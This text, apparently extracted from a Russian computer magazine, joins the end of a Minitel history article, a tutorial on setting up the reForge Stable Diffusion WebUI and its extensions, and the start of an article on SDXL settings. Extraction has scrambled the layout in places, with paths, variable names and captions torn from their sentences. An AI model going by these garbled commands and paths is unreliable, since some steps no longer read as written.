Amazon тогда не существовало даже в проекте.

Первый сервис обмена сообщениями в  сети Minitel назывался M3V,
при  этом послание можно было отправить либо в  личный электронный поч‐
товый ящик абонента, либо в  тематическую группу обсуждения, где его
видели другие пользователи сети. Можно сказать, что M3V стал своего рода
прототипом появившихся значительно позже фидошных эхоконференций,
групп USENET и интернет‑форумов. В то время провайдеры не считали этот
сервис чем‑то серьезным: для них будущее «телематики» заключалось в пре‐
доставлении информации, а не в коммуникации. Но именно M3V стал самым
популярным ресурсом в Minitel, отодвинув на второй план все остальные циф‐
ровые услуги.

Официально сеть Minitel стала доступна всем желающим в  1982  году. Тер‐
миналы для нее производили три компании: Matra, Philips и Alcatel, при этом
все три старались сделать их максимально дешевыми. Самая простая
и  популярная модель, Minitel 1, внешне представлявшая собой небольшой
дисплей со складной клавиатурой, поставлялась абонентам и вовсе бесплат‐
но — государственная телекоммуникационная компания France Télécom мог‐
ла позволить себе это  благодаря экономии на  печати, распространении,
а  затем и  переработке миллионов экземпляров ежегодно обновляемых
телефонных справочников.

Более продвинутые модели, например Minitel 10  с  цветным экраном и  тер‐
миналы с телефонной трубкой, сдавались абонентам в аренду за 200 фран‐
ков в  месяц либо поступали в  свободную продажу. Продвинутые терминалы
имели более быстрый модем и дополнительный порт, к которому можно было
подключить, например, принтер.

Работавшая на  терминалах Minitel программа, собственно и  предоставляв‐
шая доступ к ресурсам сети, называлась Télétel, из‑за чего иногда возникает
терминологическая путаница. В Minitel тарифицировалось только время под‐
ключения к серверу сети, независимо от расстояния между абонентом и сер‐
вером. При  этом услуги электронного телефонного справочника были
условно‑бесплатными: в  первые три минуты работы с  этой службой плата
не взималась.

Архитектурно Minitel напоминала появившуюся позже технологию электрон‐
ных досок объявлений BBS: нужно было подключить терминал к телефонной
сети и  набрать модемом четырехзначный телефонный номер соответству‐
ющего сервера, начинающийся с  префикса  36. Соединившись с  ним, або‐
нент мог выбрать интересующую его услугу в  электронном каталоге и  вос‐
пользоваться отображающейся на экране системой меню.

Популярность сети росла лавинообразно: вскоре частные компании стали
запускать собственные серверы Minitel — электронные магазины с доставкой
товаров по почте, всевозможные службы продажи билетов, игровые ресурсы
и  даже сайты знакомств (самым популярным был сервер с  говорящим наз‐
ванием Sextel предпринимателя Сирилла Жюбера). Спустя несколько лет
многие государственные учреждения Франции уже имели сайты в  Minitel  —
как минимум там можно было уточнить график работы организации, получить
ответы на  самые распространенные вопросы (вроде требуемого пакета
документов для оформления какой‑либо услуги), а еще отправить электрон‐
ное обращение. Банки и  коммунальные службы позволяли пользователям
Minitel осуществлять денежные переводы и  оплачивать счета. К  концу  80-х
число пользователей Minitel достигло 17 миллионов человек.

В СЕТЯХ СЕТИ

В других странах мира примерно в  то же время разрабатывались аналогич‐
ные проекты, основанные на технологии телетекста Videotex, — все они были
ориентированы на трансляцию смешанного содержимого: текста и пиксель‐
ной графики. В Великобритании это был Prestel, в Германии — Bildschirmtext,
в Канаде — Telidon, в Японии — Captain. Но высокая стоимость качественных
дисплеев и низкая скорость телефонных линий связи в то время — особенно
в США — привели к тому, что на отображение некоторых страниц на экране
терминала уходило до  шести минут, что стало полным разочарованием
для пользователей. В Minitel передавался преимущественно текст и символь‐
ная псевдографика, поэтому низкая скорость связи в этой сети не представ‐
ляла для  абонентов ни  малейшей проблемы. Именно поэтому Minitel обрел
такую феноменальную популярность во Франции.

В 1982 году молодые предприниматели Тьерри Розе и Ксавье Ниель запус‐
тили в  Minitel сервис обмена мгновенными сообщениями, напоминающий
современные мессенджеры, который в  считаные месяцы стал настоящим
хитом: уже через год на  долю этого сервиса приходилось до  85% трафика.
В  1985-м журналистка Мариэлла Ригини описала «лихорадку Minitel», охва‐
тившую Страсбург: «Люди общаются с  другими людьми в  сети за  столом,
в  постели, на  кухне, в  туалете. Адская страсть, коктейль из  скандала и  тех‐
нологий, перевернувший вверх дном целый город...» Ничего не напоминает?

18 июня 1985 года Minitel стал жертвой собственного успеха: произошел
массовый сбой в сети Transpac, которая приблизилась к пределу своих воз‐
можностей при  нагрузке в  2,5  миллиона звонков ежедневно. А  15  апре‐
ля 1986 года произошло еще одно важное событие в истории сети: был вве‐
ден телефонный код зоны  3618, который позволил всем терминалам Minitel
связываться друг с  другом. Отныне абоненты могли устанавливать соеди‐
нение не только с серверами, но и с другими абонентами по схеме «точка —
точка». К 31 декабря 1986 года в сети было зарегистрировано уже 2,3 мил‐
лиона пользователей. В  1988  году различные компании начали разрабаты‐
вать и  продавать комплекты эмуляции терминалов Minitel на  базе обычных
компьютеров — это позволило подключиться к сети владельцам персоналок
с модемами, что повлекло за собой скачкообразный рост аудитории Minitel.
К 2000 году этой сетью пользовалось уже 20 миллионов французов. Каждый,
кто родился или жил во Франции в тот период, знал, что такое Minitel, притом
сетью активно пользовались в том числе жители французских колоний.

Как и  в любом социуме, в  Minitel процветала преступность. В  1982  году
комиссар полиции Роже Ле Тайлантер представил свою книгу «Париж
в пороках» (Paris sur vices) — дотошное расследование о том, что скрывалось
за  кулисами этой сети: проституция, сутенерство, наркотики, извращения,
купля‑продажа оружия, поддельных документов и  даже торговля людьми.
Книга, разумеется, стала национальным бестселлером, а  многие читатели
использовали ее вместо путеводителя и  справочника. Водились в  Minitel
и хакеры: люди постоянно находили различные способы дозвониться до сер‐
веров сети бесплатно (или за счет случайной жертвы) и охотно делились друг
с другом своими техническими находками. Кроме того, правительство Фран‐
ции регулярно сталкивалось с  организацией забастовок и  протестов, коор‐
динируемых через Minitel. Особенно активно этой возможностью поль‐
зовались профсоюзы.

Интернет начал распространяться во Франции в 1990 году, но в течение
целых двух десятилетий он существовал параллельно с Minitel, причем совер‐
шенно неочевидно, какая из двух этих сетей пользовалась большей популяр‐
ностью. Однако представленные в интернете сервисы оказались в большинс‐
тве своем бесплатными, а  сам доступ к  сети стоил недорого, в  то время
как за соединение с ресурсами Minitel абонент должен был платить пример‐
но 1 франк в минуту. Это в конце концов привело к массовой миграции поль‐
зовательской аудитории в  интернет, и  к первому десятилетию XXI века
количество абонентов Minitel сократилась до 800 тысяч человек. В 2012 году
сеть Minitel была полностью выведена из эксплуатации.

Тем не  менее она жива до  сих пор. Энтузиасты создали специальное
устройство под  названием Mini Mitt, которое подключает сохранившиеся
в рабочем состоянии терминалы к Wi-Fi и позволяет им соединиться с береж‐
но воссозданными серверами Minitel, некогда действовавшими во Франции.

Mini Mitt

Неисправные устройства тоже : на их платформе собирают Linux-
терминалы и портативные компьютеры с одноплатниками внутри.

идут в дело

Помимо армии верных поклонников, были у Minitel и противники, называв‐
шие эту сеть изобретением технократов, глупо потративших государственные
деньги, причиной падения нравов, пристанищем извращенцев, машиной
для зарабатывания денег, а также системой, из‑за которой Франция заметно
отставала в  развитии интернет‑технологий от  других европейских стран
в  начале нового тысячелетия. Но, как  бы то ни  было, именно Minitel вывел
Францию в  начале  80-х годов в  абсолютные мировые лидеры в  сфере
телекоммуникаций, цифровизации, электронной коммерции и всех тех умных
слов, которые и по сей день громко звучат из каждого телевизора.

mailto:valentin@holmogorov.ru
https://hackaday.com/tag/minitel/
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У локальных веб‑интерфейсов к  Stable
Diffusion есть самые разные возможности
для улучшения результата генерации изоб‐
ражения. Сегодня мы поговорим о  рас‐
ширениях для WebUI reForge. Автоматичес‐
кое исправление рук и лиц, генерация кар‐
тинок в  повышенном разрешении, более
«внимательное» отношение модели к  мел‐
ким деталям, сегментированные запросы
и расширенный динамический диапазон —
лишь малая часть из  того, что доступно
пользователю.

WEBUI REFORGE DEV

Интерфейс reForge — это форк WebUI Forge, который, в свою очередь, явля‐
ется форком WebUI AUTOMATIC1111, уже, возможно, знакомого тебе по стать‐
ям « » и «

». В  первой я рассказывал об  установке продукта на  компьютер
и начале работы, во второй описаны разные семплеры и шедулеры.

ReForge. Улучшаем картинки, генерируемые Stable Diffusion Семпле‐
ры и  шедулеры. Разбираем два важных механизма улучшения генеративных
картинок

Сегодня же мы будем говорить о  расширениях (extensions)  — как  уже
встроенных в  продукт, так и  сторонних. Но  прежде, чем приступить к  иссле‐
дованию, мы обновим нашу копию веб‑интерфейса reForge до свежей сборки
и переключимся на ветку «для разработчиков», что откроет доступ к некото‐
рым вещам, недоступным пользователям стабильной сборки.

На странице проекта перечислены ветки main, dev, dev2  и  experimental;
если ты видишь какие‑то другие ветки, значит, автор проекта Panchovix затеял
очередное переименование. По задумке разработчика, основная ветка main
должна быть максимально стабильной и совместимой; в нее входят обновле‐
ния из  A1111 (в частности, новые семплеры и  шедулеры), в  ней же сделаны
патчи для одновременной загрузки нескольких моделей.

В эту ветку не  входят свежие обновления движка Comfy; чтобы получить
к ним доступ, нужно переключиться на ветку dev, в которой есть все из main
плюс выборочные обновления и функции из Comfy.

В теории эта ветка работает быстрее основной, однако можно добиться
реального прироста производительности, обновив вручную torch до  версии
torch-2.5.1+cu12 и torchvision до версии torchvision-0.20.1+cu124. Обновления
лучше брать с   или  сразу  с  соответствующими
именами файлов. Надеюсь, с установкой в папку 

 и  чисткой «хвостов» старых

версий ты разберешься.

сайта проекта качать wheel
stable-diffusion-webui-

reForge\system\python\Lib\site-packages

Установка reForge dev с нуля
Для начала установи Python версии  3.12 (да, это  старая версия Python; нет,
3.13 ставить не стоит, часть расширений не заведется) и Git, а также убедись,
что они добавлены в переменную PATH. Python можно взять с 

.
официального

сайта
Самым правильным способом установки reForge dev будет установка «с

нуля» в  новую папку, например 

или  . Разработчик неоднократно
переименовывал файлы, выносил встроенные расширения «наружу» и совер‐
шал обратные операции, в  результате чего образовалось множество «хвос‐
тов» в виде «зависших» папок , из‑за которых образовались кон‐
фликты между остатками расширений.

stable-diffusion-webui-reForge
stable-diffusion-webui-reForge-dev

__pycache__

Разработчик рекомендует для этого такую последовательность команд:

git clone https://github.com/Panchovix/stable-diffusion-webui-
reForge.git

cd stable-diffusion-webui-reForge

git checkout dev


 установив свежую сборку reForge, пока не  запускай продукт!

Для начала отредактируй файл  и включи venv:

Внимание:

environment.bat

0
set SKIP_VENV=

Эта переменная указывает, что нужно создать изолированное окружение
для  конкретной сборки reForge. Это  позволяет избежать конфликтов в  уста‐
новленных пакетах и зависимостях.

В файле  можно указать еще  и ряд переменных,

способных увеличить производительность, изменить пути к моделям и вклю‐
чить темную тему интерфейса. Перечислю основные  — они указываются
в строку, ее можно просто вставить в файл ; использовать их,

разумеется, не обязательно — параметр  можно оставить
пустым.

webui\webui-user.bat

webui-user.bat
COMMANDLINE_ARGS

   
 

set COMMANDLINE_ARGS=--vae-in-bf16 --pin-shared-memory --cuda-malloc
--cuda-stream --theme dark


Все параметры, кроме , который активирует темную тему, отно‐
сятся к повышению производительности; если твоя видеокарта несовмести‐
ма с  какими‑либо из  этих параметров, не  используй их. Узнать, поддержи‐
ваются ли они, можно только после полной установки и  первого запуска
reForge; если при  запуске в  терминале выводятся подобные строки, то их
имеет смысл попробовать:

--theme dark













Hint: your device supports --pin-shared-memory for potential speed 
improvements, but may cause issues.

Hint: your device supports --cuda-malloc for potential speed 
improvements.

Hint: your device supports --cuda-stream for potential speed 
improvements, but may cause some issues.

Пути к моделям
Базовые модели, а также всевозможные лоры и текстовые инверсии удобно
хранить отдельно от основной установки WebUI, в том числе на другом диске.
К примеру, можно указать следующие пути:

set COMMANDLINE_ARGS=%COMMANDLINE_ARGS%^

 --models-dir "%CD:~0,2%/models/"

С такими настройками модели (как базовые, так и  те, которые хранятся
по умолчанию в папке ) должны
будут находиться в  папке  того же диска, куда установлен reForge.

Соответственно, если ты решишь использовать такую схему, тебе нужно
будет перенести всю папку моделей в корень диска:

\stable-diffusion-webui-reForge\models
/models

\stable-diffusion-webui-reForge\models → \models


Также стоит сразу скачать в папку  какую‑нибудь
модель SDXL  — например, gtmUltimateBlendXL_v25CosXL, с  которой мы
будем экспериментировать дальше. Если ты этого не  сделаешь, то одна
из моделей для начала работы будет скачана автоматически.

\models\Stable-Diffusion

Раньше это была реалистичная модель с архитектурой SD1.5:

realisticVisionV51_v51VAE.safetensors


С недавних пор разработчик reForge заменил модель, и теперь по умолчанию
будет скачана модель , а  именно файл 

. Обрати внимание: эта модель имеет мало общего с  обыч‐
ными моделями SDXL; она умеет генерировать только аниме‑изображения,
причем запрос нужно составлять из тегов Danbooru. Короче говоря, выбери
и скачай в нужную папку более универсальную модель.

NoobAI 1.1 EPS NoobAI-XL-
v1.1.safetensors

Примеры моделей:
 — удачная универсальная модель с максимально широким

покрытием имеющихся в рамках SDXL концепций.
• AlbedoBase XL

  — еще  одна качественная, отлично сбалансированная
модель с уклоном в реализм.

• CyberRealistic

 — интересная модель с уклоном в креативность.• KIKA_real
 — еще одна модель с уклоном в креативность.• Zaxious_XL

  — модель класса CosXL; серьезно отличается
от любых других моделей; несовместима с RAUNet, но способна выдавать
качественный результат.

• GTM UltimateBlend_XL

Для генерации изображений в стиле аниме на сегодняшний день лучше всего
использовать одну из моделей на основе Illustrious. Модели семейства v-pred
имеют ряд особенностей, и  к ним неприменимы некоторые из  описанных
ниже приемов.

Полностью сформированный файл  может выглядеть

приблизительно следующим образом:

webui-user.bat

@echo off

set PYTHON=
set GIT=
set VENV_DIR=

   
 

set COMMANDLINE_ARGS=--vae-in-bf16 --pin-shared-memory --cuda-malloc
--cuda-stream --theme dark

set COMMANDLINE_ARGS=%COMMANDLINE_ARGS%\^

 --models-dir "%CD:\~0,2%/models/"
call webui.bat


Далее запусти файл  и дождись установки всех пакетов. Если
в процессе возникнет ошибка «python.exe: no module named pip», тебе нужно
будет зайти в  папку, в  которой у  тебя установлен Python и  выполнить сле‐
дующую команду:

webui-user.bat

python -m ensurepip


После этого будут скачаны и  установлены зависимости (около  6,5  Гбайт)
и программа наконец запустится.

Обновление существующей сборки
Если у  тебя уже установлена стабильная сборка main, ты можешь поп‐
робовать переключиться на  ветку dev, открыв командную строку в  папке

 последовательностью команд:stable-diffusion-webui-reForge\webui

git switch dev

git pull


Если последовательность не  сработает, есть и  другой способ, описанный
на странице проекта:

git remote add reForge https://github.com/Panchovix/stable-diffusion-
webui-reForge

git branch Panchovix/dev

git checkout Panchovix/dev

git fetch reForge

git branch -u reForge/dev

git stash

git pull


НАЧАЛО РАБОТЫ: РАСКЛАДЫВАЕМ РАСШИРЕНИЯ ПО ПОЛОЧКАМ

Итак, WebUI reForge установлен. При  первом запуске все расширения
(13 из них предустановлены) расположены сверху вниз.

Когда раскрываешь настройки расширений, пользоваться интерфейсом ста‐
новится сложновато из‑за необходимости все время прокручивать
туда‑обратно. Поэтому первым расширением, которое я устанавливаю
в  reForge, становится SD Webui Tabs Extension. Поставить его можно либо
из  вкладки Extensions → Install from URL, либо из  командной строки, тогда
установка должна выполняться в следующей папке:

stable-diffusion-webui-reForge-dev\webui\extensions


Я предпочитаю второй способ, так как он позволяет автоматизировать уста‐
новку всех нужных расширений.

Итак, заходим в  папку 

 и выполняем следующую команду:

stable-diffusion-webui-reForge-dev\webui\
extensions\

git clone https://github.com/Haoming02/sd-webui-tabs-extension


После установки плагина и  перезагрузки WebUI reForge (это можно сделать
прямо из раздела настроек) расширения будут организованы в виде вкладок,
пользоваться которыми проще и удобнее.

Если тебе не  нравится цветовая гамма вкладок, то в  настройках Settings →
User Interface → Tabs Extension ее можно поменять на  один из  цветов стан‐
дарта . Не забудь после этого перезапустить интерфейс командой
Reload UI.

CSS Colors
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РАСШИРЕНИЯ-УЛУЧШЕНИЯ

В эту категорию входят расширения, которые дополняют и  улучшают поль‐
зовательский интерфейс, позволяют организовать очередь задач или генери‐
ровать текстовые запросы по шаблону.

Быстрый выбор соотношения сторон
В Stable Diffusion поддерживается ограниченное количество стандартных раз‐
решений, а  нестандартные должны быть кратными  64. Запомнить все воз‐
можные разрешения тяжело — да и не нужно, ведь их можно вывести в поль‐
зовательский интерфейс одним из расширений.

Подобных расширений создано множество в  силу востребованности
и  простоты. Рекомендую попробовать одно из  двух следующих (выбери
что‑то одно, между собой подобные расширения могут конфликтовать):

git clone https://github.com/altoiddealer/--sd-webui-ar-plusplus


или

git clone https://github.com/alemelis/sd-webui-ar


После установки и перезапуска интерфейса сразу под строкой Seed появится
ряд кнопок для  выбора соотношения сторон. Верхний ряд пересчитывает
корректное соотношение, исходя из  текущих размеров картинки, нижний  —
устанавливает одно из стандартных разрешений SDXL.

Поменять местами высоту и  ширину картинки можно при  помощи иконки
справа от цифр разрешения.

Сохранение конфигурации
В настройках WebUI можно сохранить только одну конфигурацию «по умол‐
чанию», которая будет восстанавливаться при запуске приложения. Для этого
нужно найти вкладку Defaults в  самом низу настроек Settings, после чего
нажать View changes и Apply.

Текущая конфигурация, включая базовые настройки и  настройки рас‐
ширений, будет сохранена в  файл . Удобно, но  про‐
вернуть это можно только для одного набора настроек. А что делать, если ты
подобрал оптимальные настройки для разных типов изображений или разных
моделей и хочешь быстро переключаться между ними?

webui\ui-config.json

Для этого существуют расширения, сохраняющие текущий конфиг.
Ни одно из них не совершенно; я не смог найти ни одного варианта, который
сохранял  бы действительно все настройки, включая настройки расширений.
Один из компромиссных — расширение Config Presets:

git clone https://github.com/Zyin055/Config-Presets


После его установки (и перезапуска WebUI) снизу от области превью появит‐
ся дополнительная панель с пресетами.

При сохранении пресета ты сможешь выбрать, какие поля сохранять. Если
нужного поля в списке нет, то добавить его можно лишь ручным редактирова‐
нием файла настроек плагина.

Очередь задач
Процесс генерации изображений может занять длительное время, особенно
в  случаях, когда генерируется сразу серия картинок. По  умолчанию WebUI
поддерживает только одну задачу и  последовательно генерирует картинки
с  одним и  тем же запросом, настройками и  моделью; увеличивается лишь
значение seed. Организовать очередь настроек можно расширением Agent
Scheduler. Оно — единственное в своем роде; никаких альтернатив для него
в рамках WebUI не существует.

git clone https://github.com/ArtVentureX/sd-webui-agent-scheduler


После установки (с этого момента я перестану напоминать о необходимости
перезапуска WebUI) сразу под  кнопкой Generate появится дополнительная
кнопка Schedule и окно выбора модели.

Обрати внимание: можно как добавить в очередь текущую задачу, так и выб‐
рать одну или  несколько других моделей. Эта возможность очень полезна,
если ты хочешь сравнить результат работы нескольких разных моделей
с  одними настройками и  запросом; тогда ты можешь выбрать целую папку
с моделями и создать очередь задач, в которой твой запрос (со всеми нас‐
тройками) будет обработан последовательно каждой моделью из  папки.
А если ты еще и зафиксируешь значение Seed, то можно будет провести пря‐
мое сравнение моделей.

Управлять очередью задач можно из  вкладки Agent Scheduler.
При желании можно на лету редактировать текст запроса, менять выбранную
модель и параметр CFG.

Превью моделей
Хочешь вот такое превью с картинками моделей?

Ставь расширение Civitai Helper:

git clone https://github.com/zixaphir/Stable-Diffusion-Webui-Civitai-
Helper


После перезапуска WebUI в интерфейсе появится вкладка Civitai Helper. Зай‐
ди на нее, нажми Scan и подожди, пока плагин подсчитает контрольные сум‐
мы установленных у  тебя моделей и  вытащит с  Civitai превью. Это  удобно
и  работает даже для  переименованных файлов  — но  не срабатывает
для моделей, скачанных с других ресурсов, если их авторы не разместили их
на  Civitai. Для  таких моделей можно просто положить рядом с  файлом 

 превью с именем  (или ).
<

модель>.safetensors <модель>.preview.png jpg

Теги Danbooru для аниме-моделей
Самые популярные базовые модели для генерации изображений в стиле ани‐
ме (к ним относятся модели семейств Pony и  Illustrious, а  также модели
на основе Animagine) обучены на картинках с разнообразных ресурсов booru
(имиджборды с  поддержкой тегов). В  частности, многие разработчики
использовали для  обучения базу данных  и  ее актуальные
дополнения.

Danbooru 2023

Все изображения из  подобных наборов описываются 
. В стандартные теги входят имена художников, изобразительные сти‐

ли, персонажи, сеттинги, , объекты, действия и мно‐
гое другое. Чем точнее твой запрос следует синтаксису, тем больше шансов
получить желаемое  — и  наоборот. Разумеется, запомнить все теги невоз‐
можно  — и  не нужно. Вместо этого нужно поставить расширение Tag
Autocomplete:

стандартными
тегами

особенности композиции

git clone https://github.com/DominikDoom/a1111-sd-webui-tagcomplete.
git


Теперь при  вводе текстового запроса будут появляться всплывающие под‐
сказки, предлагающие варианты на  основе предустановленного списка
тегов.

Плагин может использовать как  предустановленные списки тегов (по
умолчанию — Danbooru), так и разнообразные альтернативные списки (нап‐
ример, e621). Все они хранятся в виде текстовых файлов; их можно создавать
и редактировать.

В качестве бонуса расширение устанавливает скрипт, который упростит
использование лор, автоматически добавляя слова‑активаторы и  выводя
список лор после того, как ты напечатаешь открывающую угловую скобку .<

Динамические запросы
Иногда хочется проверить, как  модель отрисует изображение по  запросу
с  незначительными вариациями, например  — как  будет выглядеть изоб‐
ражение, выполненное в стилистике разных художников. Для этого тоже есть
расширение — Dynamic Prompts:

git clone https://github.com/adieyal/sd-dynamic-prompts.git


После его установки ты сможешь перечислять варианты в  скобках
или  выбирать случайный вариант из  текстового файла. Например,

 выберет случайную строку из  файла , сохранен‐

ного в папке  или одном

из  подкаталогов (когда ты введешь двойное подчеркивание, список дос‐
тупных шаблонов появится в выпадающем окне).

__artists__ artists.txt
webui\extensions\sd-dynamic-prompts\wildcards

У расширения достаточно мощный синтаксис. Например, можно выбрать
двух случайных художников из файла :artist.txt

{2$$__artist__}


Можно — случайным образом от одного до трех:

{1-3$$artist1|artist2|artist3}


Можно выбирать случайно, но первый художник будет выпадать вдвое чаще:

{2::artist1|artist2}


Можно использовать переменные и шаблоны в формате Jinja2. Наконец, дос‐
тупен режим PromptMagic, в котором облегченные языковые модели исполь‐
зуются для дополнения запроса релевантными с точки зрения этих моделей
ключевыми словами.

ДЕТАЛИЗАЦИЯ РУК И ЛИЦ

Известная проблема Stable Diffusion  — искажения в  мелких деталях, таких
как пальцы рук и черты лица. Появляются эти искажения из‑за того, что сис‐
тема изначально генерирует изображение в невысоком разрешении и лишь
вторым проходом повышает разрешение исходной картинки до желаемого.

Увеличением параметра Denoising strength в настройках  можно

до  некоторой степени исправить огрехи, однако с  определенных значений
(зависящих от  комбинации множества параметров, включая настройки CFG,
семплера и шедулера) он начинает вносить собственные артефакты.

hires.fix

Чтобы обойти эту проблему, были созданы алгоритмы, позволяющие авто‐
матически выделять части изображения и исправлять их на этапе постобра‐
ботки. Работают они следующим образом. После того как  генерация кар‐
тинки (включая второй проход) завершилась, изображение передается тому
или иному расширению (ADetailer, uDDetailer или подобному).

Расширение использует модель (или по  очереди несколько моделей),
которая распознает заданную часть изображения и выделяет ее в виде сег‐
мента. Далее этот сегмент генерируется заново в максимальном для модели
разрешении, после чего масштабируется и  аккуратно вставляется обратно
в общую картинку. При правильных настройках результат выглядит естествен‐
но.

Основные расширения этого типа — ADetailer и uDDetailer (в названии вто‐
рого присутствует литера мю, которая время от  времени успешно ломает
Gradio). Их можно устанавливать и  использовать как  по отдельности, так
и вместе — расширения не конфликтуют.

git clone https://github.com/Bing-su/adetailer.git

git clone https://github.com/wkpark/uddetailer


ADetailer в целом несколько мощнее; он поддерживает больше настроек, поз‐
воляет использовать произвольное количество моделей для  перерисовки
(например, можно сделать последовательную детализацию всей головы,
а  потом отдельно лица и  глаз). Поддерживает сохранение конфигурации
через Settings → Defaults.

uDDetailer позволяет последовательно использовать только две модели,
но  в дополнение к  стандартным файлам .pt поддерживает и  формат .onnx.
Кроме того, здесь есть возможность загрузить любую картинку и обработать
ее. В ADetailer такая возможность присутствует только на вкладке img2img.

В обоих расширениях множество настроек.

Начать можно с такого набора

К слову, модели для  распознавания объектов можно как  использовать пре‐
дустановленные, так и  скачивать, к  примеру, с  , 
или с GitHub.

сайта Civitai Hugging Face

Примерно так выглядит область, выделяемая моделью Anzhc’s Head
Segmentation (архитектура YOLOv8)

Или так

Рекомендую сразу зайти в  настройки Settings → ADetailer и  указать
в параметре Extra paths to scan adetailer models дополнительный путь к папке
с моделями, например .\Models\models\yolo

Похожим образом работает и uDDetailer.

УЛУЧШАЙЗЕРЫ

Эта категория расширений предназначена для улучшения качества сгенери‐
рованных изображений. Сюда входят расширения, дополняющие или  изме‐
няющие работу механизма Self-Attention, метод, модифицирующий процесс
генерации, а  также несколько разных способов избежать «выгорания» кар‐
тинки при использовании высоких значений CFG.

Механизм внутреннего внимания
В этом разделе мы поговорим о  расширениях, направленных на  улучшение
качества мелких деталей и  взаимосвязей между элементами изображения.
Таких расширений несколько; некоторые из них конфликтуют, но другие прек‐
расно дополняют друг друга. Какие‑то методы предустановлены в  reForge
(это sd_forge_freeu, sd_forge_sag), остальные доступны в  расширении sd-
perturbed-attention:

git clone https://github.com/pamparamm/sd-perturbed-attention.git


Механизм внутреннего внимания нейросетей, или механизм Self-Attention, —
это набор алгоритмов для анализа взаимосвязей между различными частями
данных. Механизм внутреннего внимания позволяет модели учитывать кон‐
текст элементов изображения, даже если они находятся далеко друг от друга,
что помогает в создании реалистичных теней и правдоподобных визуальных
эффектов.

Механизм Self-Attention встроен в  SDXL, но  его работа несовершенна,
особенно если речь идет о  создании изображений со  множеством мелких
деталей. Его архитектура — компромисс между качеством и производитель‐
ностью. Расширения позволяют вмешиваться в  работу этого механизма
на разных уровнях и обходить некоторые ограничения, в итоге повысив качес‐
тво изображения за счет снижения скорости.

В reForge доступны следующие расширения: Self-Attention Guidance,
Perturbed Attention Guidance, Smoothed Energy Guidance и  Sliding Window
Guidance. Кратко их работу можно описать таким образом.

 усиливает акцент на  значимых областях изоб‐
ражения, помогая модели фокусироваться на  важных деталях, например
на лицах или — опять! — руках.

• Self-Attention Guidance

 добавляет в механизм внимания неболь‐

шие возмущения, что должно увеличить вариабельность результатов
и устранить артефакты.

• Perturbed Attention Guidance

, наоборот, сглаживает процесс внимания,

устраняя возмущения, что делает изображение более сбалансированным
и, опять же, устраняет артефакты.

• Smoothed Energy Guidance

 разделяет изображение на  небольшие

области (окна) и  применяет механизм внутреннего внимания локально,
улучшая детали без  потери глобальной согласованности. Этот метод  —
единственный, который не оказывает влияния на контраст и насыщенность
изображения.

• Sliding Window Guidance

У этих расширений есть и  обратная сторона: они потребляют дополнитель‐
ные ресурсы, и, следовательно, скорость генерации падает на 25–30%. Кро‐
ме того, большинство расширений Self-Attention (кроме SWG) демонстрируют
визуальный эффект, аналогичный эффекту от  повышения CFG,  — рост кон‐
траста и насыщенности изображения. Впрочем, в настройках плагинов сразу
представлен вариант решения  — ползунок Rescale, аналогичный механизму
RescaleCFG и позволяющий купировать эффект выгорания.

Какой механизм выбрать? И не стоит ли включить сразу все? Здесь откры‐
вается широкая область для  экспериментов. Рекомендую начать с  SEG
и SWG.

Бесплатный ланч
Расширение FreeU уже встроено в reForge. Не будем подробно описывать его
параметры  — благо их всего четыре, а  названия говорят сами за  себя: B1,
B2, S1 и S2. В теории проект FreeU ( ) отличается
тем, что не фокусируется только на Self-Attention. Вместо этого он оптимизи‐
рует архитектуру U-Net, используемую в диффузионных моделях, чтобы лучше
обрабатывать данные на  этапе генерации. FreeU устраняет «шумы» в  про‐
межуточных слоях U-Net, что улучшает резкость и  качество изображений
без значительных вычислительных затрат (потому, собственно, «ланч» и наз‐
вали бесплатным).

Free Lunch in Diffusion U-Net

Авторы проекта решили использовать потенциал архитектуры U-Net
для улучшения качества картинки. По мнению разработчиков, основная часть
U-Net отвечает за шумоподавление, а пропуски (skip connections) добавляют
мелкие детали, но  иногда мешают учитывать общий смысл изображения.
На основе этой теории они разработали метод FreeU, который должен улуч‐
шить качество генерации, просто перенастраивая баланс между вкладом
основной части и  пропусков U-Net. Метод легко интегрируется в  существу‐
ющие модели, требуя настройки всего двух пар параметров.

Это была теория. На практике же механизм FreeU не стал особо популярным
в силу своей капризности. Для каждой модели, каждого набора параметров
генерации и даже для разных стилей (реалистичного или аниме) нужно под‐
бирать свои значения параметров B1, B2, S1 и S2, и значения эти могут силь‐
но отличаться.

В reForge установлен некий усредненный набор параметров, который
как‑то влияет на генерацию (картинки, полученные с FreeU и без него, отли‐
чаются), но я не могу с уверенностью сказать, что всегда в лучшую сторону.
Впрочем, «ланч» действительно «бесплатный»  — на  скорость генерации
использование FreeU не влияет, так почему бы не попробовать?

Кстати, даже на  демонстрационных изображениях видно, что FreeU
повышает контраст и  насыщенность изображения. Дефолтные настройки
в  reForge подобраны так, чтобы избежать этого эффекта, но  он все равно
проявляется в некоторых изображениях.

ВЫВОДЫ

Я попытался описать здесь лишь самые полезные плагины для reForge и под‐
робно остановился на  их настройке и  особенностях работы. Однако мно‐
гообразие примочек, конечно, намного больше, и  если у  тебя есть время
на  эксперименты, то ты наверняка найдешь что‑то интересное. Не  забудь
поделиться находками в комментариях!

В следующей статье мы с тобой попробуем поэкспериментировать и пок‐
рутить такие настройки Stable Diffusion XL, которые, по  мнению разработ‐
чиков, крутить не следует, и посмотрим, что из этого выйдет.

https://huggingface.co/datasets/nyanko7/danbooru2023
https://danbooru.donmai.us/wiki_pages/tag_groups
https://danbooru.donmai.us/wiki_pages/tag_group:image_composition
https://civitai.com/models/293448/anzhcs-face-segmentation-prototype-or-yolov8-or-adetailer-model
https://huggingface.co/Anzhc/Anzhcs_YOLOs
https://cvlab-kaist.github.io/Self-Attention-Guidance/
https://cvlab-kaist.github.io/Perturbed-Attention-Guidance/
https://arxiv.org/abs/2408.00760
https://arxiv.org/abs/2411.10257
https://chenyangsi.top/FreeU/
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Для Stable Diffusion XL есть настройки,
которые считаются «правильными»: опре‐
деленные семплеры, узкий диапазон зна‐
чений шкалы CFG, фиксированные соот‐
ношения сторон и  размеры изображения.
Нарушение этих законов часто приводит
к  артефактам, выгоранию или  блеклым
результатам. Но что будет, если сознатель‐
но игнорировать правила и  использовать
нестандартные параметры? Спойлер: иног‐
да из  этих экспериментов выходит кое‑что
полезное.

БОРЬБА С ВЫГОРАНИЕМ

При генерации картинок модели с архитектурой U-Net работают, постепенно
удаляя шум и  восстанавливая из  него детали. Для  этого используются два
типа предсказаний: cond (conditioned) и  uncond (unconditioned). Cond отра‐
жает предсказание, основанное на текстовом запросе (и других условиях —
например, ControlNet). Uncond — «пустое» предсказание или предсказание,
